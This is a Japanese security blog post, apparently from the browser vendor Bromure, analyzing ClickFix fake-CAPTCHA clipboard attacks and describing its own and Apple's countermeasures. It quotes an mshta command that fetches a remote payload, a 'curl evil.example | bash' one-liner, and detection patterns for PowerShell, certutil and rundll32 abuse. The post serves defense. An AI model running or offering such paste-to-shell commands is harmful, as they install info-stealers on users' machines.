クリップボードがエクスプロイトである——ClickFixがすべての防御者を立ち往生させる場所

2026年4月9日、Rapid7は、あるユーザーがAnthropicのClaudeデスクトップ・アプリのダウンロードページらしきものを訪れる様子を観測しました。そのページはユーザーに「人間であることを確認」するよう求めました。ボタンをクリックすると、ページは以下の文字列をクリップボードに置きました。

mshta https://download-version.1-5-8.com/claude.msixbundle

そしてWin+Rを押して貼り付けるよう告げました。ユーザーはそうしました。mshta.exeは、HTMLアプリケーションを実行するWindowsのバイナリで、20年以上にわたりオペレーティング・システムのあらゆるバージョンに同梱されてきました。mshtaが実行したのは、最終的にホスト上で情報窃取マルウェアを動かすに至る連鎖でした。ブラウザのバグには触れていません。コード署名チェックを迂回してもいません。昇格プロンプトも出ていません。ブラウザはユーザーに頼まれたことを正確に行い、オペレーティング・システムもユーザーに頼まれたことを正確に行いました。攻撃者は、その両方を通じて頼んだだけです——クリップボードを回線として。

その4日後、Booking.comは、そのホテル・パートナー・ネットワークが同じ手口——Microsoftによってはstorm-1865として追跡されている——に打撃を受け、最終的なペイロードはXWormとVenomRATであったことを明らかにしました。Microsoft自身は、それより前の解説で、2025年の初期アクセスによる侵入の47パーセントをこの一つのパターンに帰しています。Booking.comのパートナーは悪意ある添付ファイルをクリックしていません。実行ファイルをダウンロードしてもいません。Win+Rを押して、何かを貼り付けた。今はそれだけで十分なのです。

なぜClickFixは機能するのか。

攻撃チェーンはナプキン一枚に収まります。

ペイロードが走る頃には、人々が通常頼りにするあらゆる防御は、もう敗北しています。URLレピュテーション・フィルタ？攻撃者はdownload-version.1-5-8.comを昨日登録したところです。ブラウザのサンドボックス？ペイロードはブラウザから脱出しようとはしません——ただ、運んでくれと人間に頼むだけです。実行ファイルのコード署名チェック？mshta.exeは署名付きのMicrosoftバイナリです。昇格プロンプト？mshtaはHTAをダウンロードして実行するのに昇格を必要としません。エンドポイント・エージェント？その目に映るのは、親プロセスがユーザーのキー押下で起動されたexplorer.exeであり、ユーザーが自分のコンピュータ上で何か他のものを走らせている状態と区別がつきません。

ClickFixは、業界がパッチできずにいたコンピュータの一部——画面の前に座っている人間——を取り出し、実行ステージに仕立て上げます。だからこそ、いたるところに出てくるのです。Storm-1865キャンペーンはBooking.comブランドの餌を使いました。Rapid7の事例はClaudeインストーラーの餌を使いました。Facebookのクリエイター・アカウント乗っ取りは、同じ手口を何か月も使い続けています。餌は週ごとに変わる。仕組みは変わらない。

同じ攻撃を、macOSに向けて。

Rapid7の捕捉、Booking.comの侵害、そしてFacebookのクリエイター乗っ取りは、いずれもWindowsホストを狙っていました。これは今週のデータに実在するバイアス——ClickFix業界は、今のところ大部分がWindows業界である——ですが、それは市場の性質であって、攻撃の性質ではありません。ClickFixはクリップボードとキーボードの手口です。キーボードがどのオペレーティング・システムに繋がっているかは、攻撃にとってはどうでもよいのです。

macOSでの置き換えは機械的です。Win+RはCmd+Spaceと「Terminal」になります——あるいは最近では「Script Editor」。mshtaの行はcurl -s https://evil.example | bash、あるいはosascript -eのワンライナー、あるいはbase64エンコードされたAppleScriptのdo shell scriptになります。偽のCAPTCHAは偽のCAPTCHAのまま。クリップボード書き込みはクリップボード書き込みのまま。ページの「人間確認」スクリプトは二文だけ変わります。Bitdefenderは今年に入ってからmacOSを狙いAtomic Stealerを配送するClickFix餌を文書化しました。そして——後ほど触れますが——AppleがmacOS 26.4でプラットフォーム・レベルの対応を出荷する必要を感じたという事実そのものが、Mac版は仮説ではないという、これ以上なく明確なシグナルです。

Bromureにとって、これは荷重を負うケースです。BromureはmacOS上で動きます。私たちが出荷するあらゆるユーザーは、他のどんな存在である以前に、macOSのClickFix標的です。次のセクションでクリップボード分離とphishing-guardについて話すとき、私たちはWindowsの好奇心の話をしているのではありません——すでに私たちのユーザーの現実のオペレーティング・システムに着地し、彼らが選んだプラットフォームが不完全ながらもパッチしようとしている手口の話をしているのです。

ClickFixに対するBromureの正直な姿勢。

Bromureがあなたに「Bromureはクリップフィックスを防ぎます」と言いたいところですが、防ぎません。Bromureがするのは、これまで誰も所有していなかった問題——ブラウザとホストの間を攻撃者が操る回線としてのクリップボード——を取り上げ、私たちが能動的に手をかけている二層の背後に置くことです。一つはアーキテクチャ上の層、もう一つはプラグインに基づく層です。どちらも完成した答えではありません。どちらも何もないよりは良い。今日それがどこにあるのか、正確に記します。

第一層——クリップボード分離を、デフォルトではなくオプションとして。

Bromureは各タブを、それ自身の使い捨てLinux VMの中で動かします。ページはその中で動き、ブラウザはその中で動き、偽CAPTCHAからのnavigator.clipboard書き込みもそこで起きます。問題は、そのVMのクリップボードが何に繋がっているか、です。今日はデフォルトで、macOSホストのクリップボードに繋がっています——というのも、クリップボードは多くの場合、ブラウザからMessagesへURLをコピーしたり、1Passwordからログイン・フォームへパスワードを貼り付けたりするための経路だからです。それをデフォルトで壊せば、ブラウザは使いにくいものになってしまいます。

完全分離モードは、そのデフォルトを反転させます。完全分離では、VMとmacOSホストの間のクリップボード・ブリッジが切断されます。タブ内のページは、それでも自分のVMのクリップボードには書き込めます——そしてどうしてもやりたければ、ユーザーはそのVMのLinuxターミナル内で貼り付けることもできます——しかし、ユーザーがWin+RやTerminal.app、Spotlightに貼り付けるホスト側のクリップボードは、別物のクリップボードです。ページのmshta https://...という文字列は、ホストの貼り付けバッファに届くことが決してありません。ClickFixの連鎖は第2段階で打ち切られます。

完全分離を正直に読むと、こうです——望むユーザーにとってはClickFixに対するアーキテクチャ上のきれいな答えであり、そして私たちは、それを全員にデフォルトとして出荷するつもりのない、使い勝手の税金です。多くの人は、ブラウザとメモ、あるいはメッセンジャー、あるいは作業中のドキュメントの間で、一日に何十回もコピー＆ペーストします。その経路を「オフになっているので、設定を探しに行ってコピペを戻してください」としてしまえば、ほとんどのユーザーは一週間以内にそれをオンに戻すでしょう——そして私たちは、一度の所作で、クリップボード共有の価値とセキュリティの代償を教え込んでしまったことになります。それは、彼らに学んでほしい教訓ではありません。

ですから、完全分離は望むユーザーのためにそこにあり、文書化されており、アーキテクチャがClickFixに対して言える最も強いものです。それが、ほとんどのユーザーが実際に使うものではない、というだけです。

第二層——アンチフィッシング・プラグイン、今日と明日。

デフォルトの姿勢——クリップボード橋オン——に対して、私たちはBromureのアンチフィッシング・コンポーネント、phishing-guardと呼んでいるものの中に、第二の防衛線を出荷しています。その働きを記述する価値はあります。業界の大半はそれをやっていないから、そして私たちはそれが正しい答えの終わりではなく、始まりであると考えているからです。

phishing-guardはタブVMのChromiumの中にある、クリップボード書き込みの三つの入口をフックします——モダンなnavigator.clipboard.writeTextとclipboard.writeのAPI、そして古いページが依然として使うdocument.execCommand('copy')の経路です。ページがクリップボードにテキストを書くたびに、ホストのクリップボードがそれを見る前に、phishing-guardが見ることができます。

次に、二つのテストを並行して走らせます。第一に、クリップボードの内容をシェル・コマンドの正規表現の集合に照合します——実際に野外で見かけるペイロードに合わせて調整した十個を保持しています。powershellの呼び出し、mshta https://のパターン、curl ... | bashのパイプ、base64エンコードされたPowerShellの塊、certutil -urlcache、rundll32のトリック、その他いくつか。第二に、レンダリングされたページを、クリップボードの内容を実行するよう指示するパターン——十三種、多言語——でスキャンします。「Win+Rを押してください」「Terminalを開いてください」「人間確認のため貼り付けてください」——英語、フランス語、スペイン語、ドイツ語、ポルトガル語、イタリア語、オランダ語、ポーランド語、日本語、韓国語、中国語、アラビア語、ロシア語で。

両方が発火したとき——シェル・コマンドのように見えるクリップボード書き込みと、それを貼り付けるようユーザーを誘導するテキストを持つページ——phishing-guardは候補ペイロードを言語モデルによる判定へ送り、判定が敵対的であれば、ブラウザ内の警告を表示します。

設計どおりに動いているときでも、正直な二つの限界があります。LLM呼び出しにはレイテンシのコストがあるため、素早いユーザーは判定が返る前に貼り付けてしまい得ます。そして正規表現とページ・テキストの組み合わせはClickFixの「形」を捕まえはしますが、あらゆる変種を捕まえるわけではありません——テキストではなく埋め込み動画で口頭でユーザーに指示するページは、今日のパターン・スキャンをすり抜けるでしょう。遮断点の堅牢化と検出ウィンドウの縮小に、私たちは能動的に取り組んでいます。それらは既知の答えのあるエンジニアリングの問題であり、ただ片付いていないというだけです。

macOS 26.4でAppleが出荷したもの——そして、届かない部分。

2026年3月24日、Appleはオペレーティング・システムのレベルで、同じ形の発想を出荷しました。macOS 26.4は、純正のTerminal.appに貼り付け警告ダイアログを追加しました——ユーザーがTerminalウィンドウに貼り付けるとき、macOSはクリップボードを検査し、一定の条件下で、次の文面の遮断ダイアログを表示します。「マルウェアの可能性があります。貼り付けはブロックされました。お使いのMacに被害は及んでいません。詐欺師は、あなたのMacに害を与えたり、プライバシーを脅かしたりするために、Terminalへのテキスト貼り付けを勧めることがよくあります。」これは良い一歩であり、Appleがやってくれたことを私たちは歓迎します。同時に、これが何であり、何ではないのかを精確に述べる価値はあると思います。

挙げる価値のある限界が三つあります。第一に、警告はmacOSのペーストボード層ではなく、Terminal.appの中に住んでいる、ということ。iTerm2、Alacritty、Warp、Kitty、そしてMac開発者コミュニティが実際に使う他のあらゆるターミナルは、そのチェックを継承しません。これはAppleの見落としではありません——スコープの選択です——が、それは、ランダムなシェル・コマンドを貼り付けがちなユーザー層、すなわち自分のターミナルの好みを持つエンジニアこそが、この機能が保護しないユーザー層であることを意味します。

第二に、Script Editor。2026年4月8日、Jamf Threat Labsは報告しました。Atomic Stealerの運用者はすでに、ClickFixのソーシャル・エンジニアリング・スクリプトを「Terminalを開いてこれを貼り付けてください」から「Script Editorを開いてこれを貼り付けてください」へと切り替えていた、と。というのも、Script EditorはAppleScriptおよびdo shell scriptを通じたシェル・コマンドを実行し、かつ26.4の警告にカバーされていないからです。JamfのThijs Xhaflaire氏は誰よりも平易にこう言いました。「実行をTerminalからScript Editorへ移すことで、攻撃者は見慣れた配送の仕組みを保ったまま、コマンドが実際にどのように、どこで走るのかをひそかに変えるのです」。業界が緩和策を迂回するのに要した時間は二週間でした。これはAppleへの批判ではありません。問題の「形」への批判です。一つの着地先にパッチを当てるだけで、ClickFixを解けるわけがないのです。

第三の限界が最も大きく、最も論じられていません——macOS 26.4はMacユーザーを守ります。実際のClickFix業界——Booking.com侵害の裏にあるStorm-1865アフィリエイト構造、偽のClaudeインストーラー・キャンペーン、そして2025年の初期アクセスの47パーセントという数字の大半——はWindowsペイロードを出荷し、Win+Rを使い、mshtaとPowerShellを呼び出し、Windowsホストに着地します。AppleはTerminal.appを完璧に守ることができて、それでもあの艦隊に対しては針を一つも動かしません。今年あなたが読むClickFix事後分析において、貼り付け警告を備えたオペレーティング・システムは、通常、被害者が走らせていたオペレーティング・システムではないのです。

私たちが守る覚悟のある主張。

20年のあいだ、業界はソーシャル・エンジニアリング攻撃への答えとしてポスターを貼り出してきました。「怪しいリンクをクリックしない」「フィッシングに注意」「貼り付ける前に考える」。ユーザーがClickFixに引っかかったとき、世間向けの応答は、たいてい「ユーザーが気をつけるべきだった」の変奏——偽CAPTCHAの見分け方の解説記事、トレーニング・モジュール、毎年のセキュリティ意識向上クイズ、丁寧に下へ押し付ける非難——です。その底にある前提は、フィッシングは根本においては人間の問題であり、技術的な層はできることをやった、というものです。

私たちはそう思いません。私たちは、ClickFix、そして他のあらゆるクリップボードとキーボードのソーシャル・エンジニアリング手口は、技術的な層が一貫して所有を拒んできた技術的な問題である、と考えます。クリップボードは、あらゆるウェブ・ページと、オペレーティング・システム上のあらゆる他のアプリの間の、認証されないメッセージ・バスです。Runダイアログはあらゆる文字列を受け付けます。Terminalは、そこに着地したものを何であれ実行します。これらの設計のどれも、クリップボードが今実際に相手取っている攻撃者を想定して監査されていません。どれも自然には直りません。

正しい応答は仕事です——ブラウザの内側で、オペレーティング・システムの内側で、エコシステム協調の内側で——「クリップボード・ツー・シェル・コマンド」の経路を、マシンがユーザーのために介入したくなるものに変えていくこと。macOS 26.4は一歩です。Windowsには自分の一歩が必要です。phishing-guardも一歩です。クリップボード書き込みを強制的に遮断すること、汎用スピナーではなくクリップボード専用の警告を出荷すること、判定のレイテンシを素早い貼り付けに勝つ水準まで縮めること——それらが次の段階です。完全分離モードは一歩です。日々その中で暮らせるものにすることが、その次の段階です。

これらのどれも、ポスターではありません。どれも、ユーザーに偽CAPTCHAをより早く見破るよう求めたり、「リンクにホバーする」よう求めたり、ブラウザ・タブを開くためにセキュリティ専門家になるよう求めたりはしません。ブラウザ・タブを一つ開くためにセキュリティ専門家になる必要はない、と私たちは考えます。テックがこれを壊した。テックが直すべきです。

ClickFixに対するBromureのロードマップは、その確信の形そのものです。私たちが今日出荷するのは、二つのレバーを持つ部分的な防御です——使い勝手を犠牲にする強いレバーと、私たちが育てられるだけの速さで牙を伸ばしつつあるやわらかなレバー。来年出荷するものは、より鋭くなります。そして、機能が何をして何をしないのかを、私たちはこのような投稿で語り続けます——というのも、別の道は、「ClickFix」の横にチェックマークが付いたきれいなマーケティング・ページを出荷することで、それこそがまさに、Storm-1865に2025年の初期アクセスの47パーセントを簡単そうに見せられる場所まで業界を追いやった、あの類いのものだからです。